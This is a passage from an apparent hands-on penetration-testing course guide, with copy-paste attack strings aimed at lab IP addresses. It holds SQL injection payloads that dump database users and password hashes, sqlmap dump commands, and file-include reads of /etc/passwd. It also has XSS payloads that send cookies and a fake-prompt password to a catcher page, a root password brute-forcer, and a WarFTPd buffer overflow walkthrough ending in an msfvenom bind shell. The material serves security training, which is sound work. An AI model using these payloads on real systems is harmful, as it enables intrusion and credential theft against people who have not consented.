2784
2785http://10.1.1.38/acre2.php?lap=acer' order by 50-- +
2786-----------------------------------------------------------------------
2787
2788Page returns the following error:
2789Unknown column '50' in 'order clause'
2790
2791
2792---------------------------Type This-----------------------------------
2793
2794http://10.1.1.38/acre2.php?lap=acer' order by 25-- +
2795-----------------------------------------------------------------------
2796
2797Page returns the following error:
2798Unknown column '25' in 'order clause'
2799
2800
2801---------------------------Type This-----------------------------------
2802
2803http://10.1.1.38/acre2.php?lap=acer' order by 12-- +
2804-----------------------------------------------------------------------
2805
2806Page returns the following error:
2807Unknown column '50' in 'order clause'
2808
2809
2810---------------------------Type This-----------------------------------
2811
2812http://10.1.1.38/acre2.php?lap=acer' order by 6-- +
2813-----------------------------------------------------------------------
2814
2815---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
2816
2817
2818
2819Now we build out the union all select statement with the correct number of columns
2820
2821Reference:
2822http://www.techonthenet.com/sql/union.php
2823
2824
2825---------------------------Type This-----------------------------------
2826
2827http://10.1.1.38/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
2828-----------------------------------------------------------------------
2829
2830
2831
2832Now we negate the parameter value 'acer' by turning into the word 'null':
2833---------------------------Type This-----------------------------------
2834
2835http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
2836-----------------------------------------------------------------------
2837
2838We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
2839
2840
2841Use a cheat sheet for syntax:
2842http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
2843
2844---------------------------Type This-----------------------------------
2845
2846http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
2847
2848http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
2849
2850http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
2851
2852http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
2853
2854
2855http://10.1.1.38/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
2856
2857-----------------------------------------------------------------------
2858
2859
2860########################
2861# Question I get a lot #
2862########################
2863Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
2864
2865Here is a good reference for it:
2866https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
2867
2868Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
2869
2870
2871
2872
2873#########################
2874# File Handling Attacks #
2875#########################
2876
2877Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
2878
2879---------------------------Type This-----------------------------------
2880
2881http://10.1.1.38/showfile.php?filename=about.txt
2882
2883-----------------------------------------------------------------------
2884
2885
2886See if you can read files on the file system:
2887---------------------------Type This-----------------------------------
2888
2889http://10.1.1.38/showfile.php?filename=/etc/passwd
2890-----------------------------------------------------------------------
2891
2892We call this attack a Local File Include or LFI.
2893
2894Now let's find some text out on the internet somewhere:
2895https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
2896
2897
2898Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
2899
2900---------------------------Type This-----------------------------------
2901
2902http://10.1.1.38/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
2903 -----------------------------------------------------------------------
2904
2905#########################################################################################
2906# SQL Injection #
2907# https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
2908#########################################################################################
2909
2910
2911- Another quick way to test for SQLI is to remove the paramter value
2912
2913
2914#############################
2915# Error-Based SQL Injection #
2916#############################
2917---------------------------Type This-----------------------------------
2918
2919http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
2920http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
2921http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
2922http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
2923http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
2924http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
2925http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
2926http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
2927http://10.1.1.55/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
2928
2929-----------------------------------------------------------------------
2930
2931
2932
2933#############################
2934# Union-Based SQL Injection #
2935#############################
2936
2937---------------------------Type This-----------------------------------
2938
2939http://10.1.1.55/bookdetail.aspx?id=2 order by 100--
2940http://10.1.1.55/bookdetail.aspx?id=2 order by 50--
2941http://10.1.1.55/bookdetail.aspx?id=2 order by 25--
2942http://10.1.1.55/bookdetail.aspx?id=2 order by 10--
2943http://10.1.1.55/bookdetail.aspx?id=2 order by 5--
2944http://10.1.1.55/bookdetail.aspx?id=2 order by 6--
2945http://10.1.1.55/bookdetail.aspx?id=2 order by 7--
2946http://10.1.1.55/bookdetail.aspx?id=2 order by 8--
2947http://10.1.1.55/bookdetail.aspx?id=2 order by 9--
2948http://10.1.1.55/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
2949-----------------------------------------------------------------------
2950
2951 We are using a union select statement because we are joining the developer's query with one of our own.
2952 Reference:
2953 http://www.techonthenet.com/sql/union.php
2954 The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
2955 It removes duplicate rows between the various SELECT statements.
2956
2957 Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
2958
2959---------------------------Type This-----------------------------------
2960
2961http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
2962-----------------------------------------------------------------------
2963
2964 Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
2965
2966---------------------------Type This-----------------------------------
2967
2968http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
2969http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
2970http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
2971http://10.1.1.55/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
2972
2973 -----------------------------------------------------------------------
2974
2975
2976
2977
2978- Another way is to see if you can get the backend to perform an arithmetic function
2979
2980---------------------------Type This-----------------------------------
2981
2982http://10.1.1.55/bookdetail.aspx?id=(2)
2983http://10.1.1.55/bookdetail.aspx?id=(4-2)
2984http://10.1.1.55/bookdetail.aspx?id=(4-1)
2985
2986
2987
2988http://10.1.1.55/bookdetail.aspx?id=2 or 1=1--
2989http://10.1.1.55/bookdetail.aspx?id=2 or 1=2--
2990http://10.1.1.55/bookdetail.aspx?id=1*1
2991http://10.1.1.55/bookdetail.aspx?id=2 or 1 >-1#
2992http://10.1.1.55/bookdetail.aspx?id=2 or 1<99#
2993http://10.1.1.55/bookdetail.aspx?id=2 or 1<>1#
2994http://10.1.1.55/bookdetail.aspx?id=2 or 2 != 3--
2995http://10.1.1.55/bookdetail.aspx?id=2 &0#
2996
2997
2998
2999http://10.1.1.55/bookdetail.aspx?id=2 and 1=1--
3000http://10.1.1.55/bookdetail.aspx?id=2 and 1=2--
3001http://10.1.1.55/bookdetail.aspx?id=2 and user='joe' and 1=1--
3002http://10.1.1.55/bookdetail.aspx?id=2 and user='dbo' and 1=1--
3003
3004 -----------------------------------------------------------------------
3005
3006
3007###############################
3008# Blind SQL Injection Testing #
3009###############################
3010Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
3011
30123 - Total Characters
3013---------------------------Type This-----------------------------------
3014
3015http://10.1.1.55/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
3016http://10.1.1.55/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
3017http://10.1.1.55/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
3018 -----------------------------------------------------------------------
3019
3020Let's go for a quick check to see if it's DBO
3021
3022---------------------------Type This-----------------------------------
3023
3024http://10.1.1.55/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
3025 -----------------------------------------------------------------------
3026
3027Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
3028
3029 ---------------------------Type This-----------------------------------
3030
3031D - 1st Character
3032http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
3033http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
3034http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
3035http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
3036
3037B - 2nd Character
3038http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3039http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3040
3041O - 3rd Character
3042http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3043http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
3044http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3045http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3046http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
3047http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
3048http://10.1.1.55/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
3049
3050 -----------------------------------------------------------------------
3051
3052
3053
3054
3055##########
3056# Sqlmap #
3057##########
3058If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
3059
3060 ---------------------------Type This-----------------------------------
3061
3062cd /home/strategicsec/toolz/sqlmap-dev/
3063python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -b
3064python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --current-user
3065python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --current-db
3066python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --dbs
3067python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp --tables
3068python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
3069python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
3070python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
3071python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
3072python sqlmap.py -u "http://10.1.1.55/bookdetail.aspx?id=2" --users --passwords
3073
3074 -----------------------------------------------------------------------
3075
3076###############################################################################
3077# What is XSS #
3078# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx #
3079###############################################################################
3080
3081OK - what is Cross Site Scripting (XSS)
3082
30831. Use Firefox to browse to the following location:
3084---------------------------Type This-----------------------------------
3085
3086 http://10.1.1.38/xss_practice/
3087 -----------------------------------------------------------------------
3088
3089 A really simple search page that is vulnerable should come up.
3090
3091
3092
3093
30942. In the search box type:
3095---------------------------Type This-----------------------------------
3096
3097 <script>alert('So this is XSS')</script>
3098-----------------------------------------------------------------------
3099
3100
3101 This should pop-up an alert window with your message in it proving XSS is in fact possible.
3102 Ok, click OK and then click back and go back to http://10.1.1.38/xss_practice/
3103
3104
31053. In the search box type:
3106---------------------------Type This-----------------------------------
3107
3108 <script>alert(document.cookie)</script>
3109-----------------------------------------------------------------------
3110
3111
3112 This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
3113 Ok, click OK and then click back and go back to http://10.1.1.38/xss_practice/
3114
31154. Now replace that alert script with:
3116---------------------------Type This-----------------------------------
3117
3118 <script>document.location="http://10.1.1.38/xss_practice/cookie_catcher.php?c="+document.cookie</script>
3119-----------------------------------------------------------------------
3120
3121
3122This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
3123
3124
31255. Now view the stolen cookie at:
3126---------------------------Type This-----------------------------------
3127
3128 http://10.1.1.38/xss_practice/cookie_stealer_logs.html
3129-----------------------------------------------------------------------
3130
3131
3132The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
3133
3134
3135
3136
3137
3138
3139############################
3140# A Better Way To Demo XSS #
3141############################
3142
3143
3144Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
3145
3146
3147Use Firefox to browse to the following location:
3148---------------------------Type This-----------------------------------
3149
3150 http://10.1.1.38/xss_practice/
3151-----------------------------------------------------------------------
3152
3153
3154
3155Paste this in the search box
3156----------------------------
3157
3158
3159---------------------------Type This-----------------------------------
3160
3161<script>
3162password=prompt('Your session is expired. Please enter your password to continue',' ');
3163document.write("<img src=\"http://10.1.1.38/xss_practice/passwordgrabber.php?password=" +password+"\">");
3164</script>
3165-----------------------------------------------------------------------
3166
3167
3168Now view the stolen cookie at:
3169---------------------------Type This-----------------------------------
3170
3171 http://10.1.1.38/xss_practice/passwords.html
3172
3173-----------------------------------------------------------------------
3174
3175
3176#################################################
3177# Lesson 25: Python Functions & String Handling #
3178#################################################
3179
3180Python can make use of functions:
3181http://www.tutorialspoint.com/python/python_functions.htm
3182
3183
3184
3185Python can interact with the 'crypt' function used to create Unix passwords:
3186http://docs.python.org/2/library/crypt.html
3187
3188
3189
3190Tonight we will see a lot of the split() method so be sure to keep the following references close by:
3191http://www.tutorialspoint.com/python/string_split.htm
3192
3193
3194Tonight we will see a lot of slicing so be sure to keep the following references close by:
3195http://techearth.net/python/index.php5?title=Python:Basics:Slices
3196
3197
3198---------------------------Type This-----------------------------------
3199vi LFI-RFI.py
3200
3201
3202---------------------------Paste This-----------------------------------
3203
3204
3205#!/usr/bin/env python
3206print "\n### PHP LFI/RFI Detector ###"
3207
3208import urllib2,re,sys
3209
3210TARGET = "http://10.1.1.38/showfile.php?filename=about.txt"
3211RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?"
3212TravLimit = 12
3213
3214print "==> Testing for LFI vulns.."
3215TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
3216for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
3217 TARGET += "../"
3218 try:
3219 source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
3220 except urllib2.URLError, e:
3221 print "$$$ We had an Error:",e
3222 sys.exit(0)
3223 if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
3224 print "!! ==> LFI Found:",TARGET+"etc/passwd"
3225 break ## BREAK LOOP WHEN VULN FOUND
3226
3227print "\n==> Testing for RFI vulns.."
3228TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
3229try:
3230 source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
3231except urllib2.URLError, e:
3232 print "$$$ We had an Error:",e
3233 sys.exit(0)
3234if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE
3235 print "!! => RFI Found:",TARGET
3236
3237print "\nScan Complete\n" ## DONE
3238
3239
3240
3241-----------------------------------------------------------------------
3242
3243
3244################################
3245# Lesson 26: Password Cracking #
3246################################
3247
3248---------------------------Type This-----------------------------------
3249
3250wget https://s3.amazonaws.com/infosecaddictsfiles/htcrack.py
3251
3252vi htcrack.py
3253
3254vi list.txt
3255
3256---------------------------Paste This-----------------------------------
3257
3258hello
3259goodbye
3260red
3261blue
3262yourname
3263tim
3264bob
3265
3266-----------------------------------------------------------------------
3267
3268---------------------------Type This-----------------------------------
3269
3270htpasswd -nd yourname
3271 - enter yourname as the password
3272
3273
3274
3275python htcrack.py joe:7XsJIbCFzqg/o list.txt
3276
3277
3278
3279
3280sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
3281
3282rm -rf mechanize-0.2.5.tar.gz
3283
3284sudo /bin/bash
3285
3286passwd
3287 ***set root password***
3288
3289
3290
3291---------------------------Type This-----------------------------------
3292
3293vi rootbrute.py
3294
3295---------------------------Paste This-----------------------------------
3296
3297#!/usr/bin/env python
3298
3299import sys
3300try:
3301 import pexpect
3302except(ImportError):
3303 print "\nYou need the pexpect module."
3304 print "http://www.noah.org/wiki/Pexpect\n"
3305 sys.exit(1)
3306
3307#Change this if needed.
3308# LOGIN_ERROR = 'su: incorrect password'
3309LOGIN_ERROR = "su: Authentication failure"
3310
3311def brute(word):
3312 print "Trying:",word
3313 child = pexpect.spawn('/bin/su')
3314 child.expect('Password: ')
3315 child.sendline(word)
3316 i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
3317 if i == 1:
3318 print "Incorrect Password"
3319
3320 if i == 2:
3321 print "\n\t[!] Root Password:" ,word
3322 child.sendline ('id')
3323 print child.before
3324 child.interact()
3325
3326if len(sys.argv) != 2:
3327 print "\nUsage : ./rootbrute.py <wordlist>"
3328 print "Eg: ./rootbrute.py words.txt\n"
3329 sys.exit(1)
3330
3331try:
3332 words = open(sys.argv[1], "r").readlines()
3333except(IOError):
3334 print "\nError: Check your wordlist path\n"
3335 sys.exit(1)
3336
3337print "\n[+] Loaded:",len(words),"words"
3338print "[+] BruteForcing...\n"
3339for word in words:
3340 brute(word.replace("\n",""))
3341
3342
3343-----------------------------------------------------------------------
3344
3345
3346References you might find helpful:
3347http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
3348
3349
3350
3351
3352
3353
3354
3355---------------------------Type This-----------------------------------
3356
3357
3358wget https://s3.amazonaws.com/infosecaddictsfiles/md5crack.py
3359
3360vi md5crack.py
3361
3362
3363-----------------------------------------------------------------------
3364
3365
3366
3367
3368Why use hexdigest
3369http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
3370
3371
3372
3373
3374http://md5online.net/
3375
3376
3377
3378
3379
3380---------------------------Type This-----------------------------------
3381
3382
3383wget https://s3.amazonaws.com/infosecaddictsfiles/wpbruteforcer.py
3384
3385
3386-----------------------------------------------------------------------
3387
3388
3389
3390#############
3391# Functions #
3392#############
3393
3394
3395***********************
3396* What are Functions? *
3397***********************
3398
3399
3400Functions are a convenient way to divide your code into useful blocks, allowing us to order our code, make it more readable, reuse it and save some time. Also functions are a key way to define interfaces so programmers can share their code.
3401
3402How do you write functions in Python?
3403
3404Python makes use of blocks.
3405
3406A block is a area of code of written in the format of:
3407
3408 block_head:
3409
3410 1st block line
3411
3412 2nd block line
3413
3414 ...
3415
3416
3417Where a block line is more Python code (even another block), and the block head is of the following format: block_keyword block_name(argument1,argument2, ...) Block keywords you already know are "if", "for", and "while".
3418
3419Functions in python are defined using the block keyword "def", followed with the function's name as the block's name. For example:
3420
3421def my_function():
3422 print("Hello From My Function!")
3423
3424
3425Functions may also receive arguments (variables passed from the caller to the function). For example:
3426
3427def my_function_with_args(username, greeting):
3428 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3429
3430
3431Functions may return a value to the caller, using the keyword- 'return' . For example:
3432
3433def sum_two_numbers(a, b):
3434 return a + b
3435
3436
3437****************************************
3438* How do you call functions in Python? *
3439****************************************
3440
3441Simply write the function's name followed by (), placing any required arguments within the brackets. For example, lets call the functions written above (in the previous example):
3442
3443# Define our 3 functions
3444---------------------------Paste This-----------------------------------
3445
3446def my_function():
3447 print("Hello From My Function!")
3448
3449def my_function_with_args(username, greeting):
3450 print("Hello, %s , From My Function!, I wish you %s"%(username, greeting))
3451
3452def sum_two_numbers(a, b):
3453 return a + b
3454
3455# print(a simple greeting)
3456my_function()
3457
3458#prints - "Hello, Joe, From My Function!, I wish you a great year!"
3459my_function_with_args("Joe", "a great year!")
3460
3461# after this line x will hold the value 3!
3462x = sum_two_numbers(1,2)
3463-----------------------------------------------------------------------
3464
3465
3466************
3467* Exercise *
3468************
3469
3470In this exercise you'll use an existing function, and while adding your own to create a fully functional program.
3471
3472Add a function named list_benefits() that returns the following list of strings: "More organized code", "More readable code", "Easier code reuse", "Allowing programmers to share and connect code together"
3473
3474Add a function named build_sentence(info) which receives a single argument containing a string and returns a sentence starting with the given string and ending with the string " is a benefit of functions!"
3475
3476Run and see all the functions work together!
3477
3478
3479---------------------------Paste This-----------------------------------
3480
3481# Modify this function to return a list of strings as defined above
3482def list_benefits():
3483 pass
3484
3485# Modify this function to concatenate to each benefit - " is a benefit of functions!"
3486def build_sentence(benefit):
3487 pass
3488
3489def name_the_benefits_of_functions():
3490 list_of_benefits = list_benefits()
3491 for benefit in list_of_benefits:
3492 print(build_sentence(benefit))
3493
3494name_the_benefits_of_functions()
3495
3496
3497-----------------------------------------------------------------------
3498
3499
3500
3501
3502Please download this file to your Windows host machine, and extract it to your Desktop.
3503https://s3.amazonaws.com/infosecaddictsfiles/ED-Workshop-Files.zip
3504
3505
3506
3507
3508
3509###########################
3510# Lab 1a: Stack Overflows #
3511###########################
3512
3513 #############################
3514 # Start WarFTPd #
3515 # Start WinDBG #
3516 # Press F6 #
3517 # Attach to war-ftpd.exe #
3518 #############################
3519---------------------------Type This-----------------------------------
3520
3521cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1a
3522
3523
3524python warftpd1.py | nc XPSP3-ED-Target-IP 21
3525
3526
3527 At WINDBG prompt
3528 “r†to show registers or “alt+4â€
3529 dd esp
3530
3531-----------------------------------------------------------------------
3532---------------------------Type This-----------------------------------
3533
3534python warftpd2.py | nc XPSP3-ED-Target-IP 21
3535
3536
3537 At WINDBG prompt
3538 “r†to show registers or “alt+4â€
3539 dd esp
3540-----------------------------------------------------------------------
3541
3542 Eip: 32714131
3543 esp: affd58 (71413471)
3544
3545 Now we need to SSH into the StrategicSec Ubuntu host
3546 ---------------------------Type This-----------------------------------
3547
3548 cd /home/strategicsec/toolz/metasploit/tools/exploit
3549
3550 ruby pattern_offset.rb 32714131
3551 485
3552
3553 ruby pattern_offset.rb 71413471
3554 493
3555-----------------------------------------------------------------------
3556
3557 Distance to EIP is: 485
3558 Relative position of ESP is: 493
3559
3560 RET – POP EIP
3561 RET 4 – POP EIP and shift ESP down by 4 bytes
3562 ---------------------------Type This-----------------------------------
3563
3564 cd /home/strategicsec/toolz/metasploit/
3565 ./msfpescan -j ESP DLLs/xpsp3/shell32.dll
3566 -----------------------------------------------------------------------
3567
3568 0x7c9c167d push esp; retn 0x304d
3569 0x7c9d30d7 jmp esp < - how about we use this one
3570 0x7c9d30eb jmp esp
3571 0x7c9d30ff jmp esp
3572
3573
3574 warftpd3.py with Notepad++
3575 Fill in the appropriate values
3576 Distance to EIP
3577 Address of JMP ESP
3578
3579
3580 ---------------------------Type This-----------------------------------
3581
3582python warftpd3.py | nc XPSP3-ED-Target-IP 21
3583
3584 0:003> dd eip
3585 0:003> dd esp
3586
3587 -----------------------------------------------------------------------
3588
3589
3590
3591
3592 Mention bad characters
3593 No debugger
3594
3595 ---------------------------Type This-----------------------------------
3596
3597
3598python warftpd4.py | nc XPSP3-ED-Target-IP 21
3599
3600nc XPSP3-ED-Target-IP 4444
3601
3602 -----------------------------------------------------------------------
3603
3604
3605
3606
3607There are 2 things that can go wrong with shellcode. The first thing is a lack of space, and the second is bad characters.
3608
3609Shellcode test 1: Calculate space for shellcode
3610Look in the warftpd3.py script for the shellcode variable. Change the length of the shellcode being send to test how much you can send before the CCs truncate.
3611
3612
3613
3614
3615
3616Shellcode test 2: Identify bad characters
3617
3618Replace the INT3 (cc) dummy shellcode with this string:
3619 ---------------------------Type This-----------------------------------
3620
3621"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3622
3623 -----------------------------------------------------------------------
3624
3625Send this new shellcode string and identify the places where it truncates - these are the bad characters
3626
3627
3628
3629
3630Here is what the string looks like after I manually tested and removed each of the bad characters:
3631 ---------------------------Type This-----------------------------------
3632
3633shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3634
3635 -----------------------------------------------------------------------
3636
3637
3638 ---------------------------Type This-----------------------------------
3639
3640./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
3641
3642 -----------------------------------------------------------------------
3643
3644
3645
3646
3647###########################################
